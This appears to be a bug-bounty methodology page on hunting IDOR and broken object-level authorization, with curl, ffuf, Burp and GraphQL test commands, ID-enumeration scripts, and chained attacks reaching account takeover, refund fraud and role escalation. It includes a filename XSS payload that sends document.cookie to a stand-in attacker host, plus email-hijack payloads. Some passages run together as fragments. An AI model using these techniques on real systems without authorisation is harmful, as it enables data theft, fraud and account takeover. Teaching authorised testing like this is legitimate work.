buggy HunterInsecure direct object references including BOLA in REST/GraphQL, ID enumeration, and horizontal privilege escalation. Built from 26 reports.
Why IDOR pays big:
| Asset Type | Why It Pays |
|---|---|
| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
| Private repositories / source code | IP theft, critical data loss (GitHub) |
| User messages / DMs | Privacy violation at scale (Reddit) |
| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
| Business/org administration | Cross-tenant escalation, employee PII (Uber) |
| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
URL patterns that scream IDOR:
/api/v1/users/{id}/ /api/v*/orders/{order_id} /invoices/download?id= /reports/{uuid}/ /messages/{thread_id} /admin/orgs/{org_id}/members /migration/{migration_id}/files /graphql (query params with IDs) /api/business/{business_id}/ /vouchers/{voucher_id}/policyResponse header signals:
Content-Type: application/json on endpoints accepting raw IDsX-Frame-Options or CORS misconfigs paired with ID paramsAuthorization: Bearer tokens that are user-scoped but hit org-level resources// Look for hardcoded or interpolated IDs in JS fetch(`/api/v1/users/${userId}/profile`) axios.get('/invoices/' + invoiceId) graphql query { billingDocument(id: $docId) } // Redux/state stores exposing foreign IDs state.currentUser.organizationIdTech stack signals:
org_id, account_id, business_id paramsid=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID values
{ __schema { queryType { fields { name } } } }
- For every query/mutation taking an id argument, substitute another user's ID
- Test both queries (read) and mutations (write/delete)
?sort=id or ?filter[user_id]=
Basic IDOR test with curl (swap cookie/token):
# Get User A's resource ID while authenticated as A curl -s -H "Cookie: session=USER_A_SESSION" \ https://target.com/api/v1/invoices/12345
# Replay with User B's session curl -s -H "Cookie: session=USER_B_SESSION" \ https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL IDOR test:
curl -s -X POST https://target.com/graphql \ -H "Authorization: Bearer USER_B_TOKEN" \ -H "Content-Type: application/json" \ -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'Enumerate sequential IDs with ffuf:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \ -w ids.txt \ -H "Authorization: Bearer USER_B_TOKEN" \ -mc 200 \ -o idor_results.jsonGenerate sequential ID wordlist:
# Generate IDs around a known value known_id = 48291 with open("ids.txt", "w") as f: for i in range(known_id - 500, known_id + 500): f.write(str(i) + "\n")Burp Intruder payload for IDOR scanning:
GET /api/messages/§12345§ HTTP/1.1 Host: target.com Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point # Use numeric sequential payload: 12000-13000 # Filter responses by length difference or status 200
JavaScript scraping for leaked IDs:
# Find IDs in JS bundles curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses curl -s -H "Cookie: session=USER_A" \ https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
Grep patterns for source code review:
# Missing authorization checks in common frameworks grep -r "findById\|findOne\|getById" --include="*.js" . grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" . grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping grep -r "Model\.find(params" --include="*.js" . # vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
IDOR via HTTP method tampering:
# Try undocumented methods for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo "=== $method ===" curl -s -X $method \ -H "Authorization: Bearer USER_B_TOKEN" \ https://target.com/api/v1/users/USER_A_ID/profile done // VULNERABLE: fetches any record
const invoice = await Invoice.findById(req.params.id);
// SECURE: scopes to authenticated user
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });org_id in POST body; server uses it directly without verifying caller belongs to that org
user_id check present; org_id / tenant_id check absent
Defense: UUIDs instead of sequential integers
echo "dXNlcl8xMjM0NQ==" | base64 -d → user_12345user_id in WHERE clause /v1/ vs /v2/) — authorization logic is often version-specificLocation headers, error messages, or metadata{"data": {"id": "VICTIM_ID"}}, HTTP parameter pollution ?id=own_id&id=victim_id, or parameter name variations user_id, userId, uid, accountBefore writing the report, answer all three:
/api/v1/invoices/{victim_invoice_id} and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style) An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style) A migration feature allows users to upload files to a migration job. The migration_id parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style) An attacker accesses another user's private message threads by substituting their thread_id in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
Standalone IDOR gets paid at Low-Medium for cross-tenant read. The real money is in chaining IDOR to a state-change primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
/api/users/{id}/email + Missing Re-Auth → Password Reset → ATOPUT /api/users/{victim_id}/email {"email":"attacker@evil"} from attacker's session; server changes the victim's email without ownership check.hunt-ato Path 2 (email change without re-auth).Content-Disposition → Reflected-XSS-Via-Download → Session Theft/api/files/{id}/download returns any user's file given the ID.Content-Disposition: attachment; filename="<user-supplied-filename>" without sanitising newlines or quotes — attacker uploads a file with filename "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt.hunt-xss Chain 1 (response-header XSS class).node(id:) GID + Relay Relation Traversal → Cross-Tenant Mass Data Extractiongid://shopify/Customer/<n> or base64-encoded type:id patterns).node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } } — the top-level node() resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.hunt-graphql Disclosed Report Citation #5 and #2./api/teams/{id}/members + Mass-Assignment in Body → Role Escalation on Victim TeamPOST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} adds attacker as a normal member without ownership check.{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} — mass assignment leaks into the role field.fileCopy mutation H1 #981472 (2020, $2,000); Stripe UpdateAtlasApplicationPerson cross-tenant mutation H1 #1066203 (2020). Cross-refs hunt-graphql Disclosed Report Citation #7 and #8; pairs with hunt-api-misconfig Mass Assignment section.active=false flag but doesn't invalidate the session/PAT.hunt-misc Chain 1 — same root cause shape, different starting primitive./users/{id}/orders → /orders/{order_id}/refund) → Financial Impact on Victim MerchantGET /api/users/{victim_id}/orders returns the victim's order list without ownership check — yields legitimate order_id values.POST /api/orders/{order_id}/refund issues refunds without checking that the requester owns the merchant/order.hunt-business-logic Chain (financial impact via state-machine confusion).When you confirm a read-IDOR at A, immediately ask: what state-change accepts the same ID and might also be IDOR'd? The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
Cross-references:
hunt-ato — Chain 1, 5hunt-xss — Chain 2hunt-graphql — Chains 3, 4hunt-misc — Chain 5hunt-business-logic — Chain 6hunt-auth-bypass — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing req.user.id scoping in ORM query + missing middleware on legacy /v1/ route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.hunt-ato — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: PATCH /api/users/{victim_uid} accepts attacker's session + victim UID → set email=attacker@evil.com → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.hunt-graphql — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: __schema introspection → enumerate every mutation accepting id: argument → substitute victim IDs across updateUser, deleteOrg, transferBilling mutations → mass IDOR fan-out from one introspection query.security-arsenal — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (?id=own&id=victim), nested-JSON wrappers ({"data":{"id":"VICTIM"}}), and parameter-name variations (uid/userId/user_id/account) when the first direct substitution returns 403.triage-validation — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.Questions about IDOR Hunter?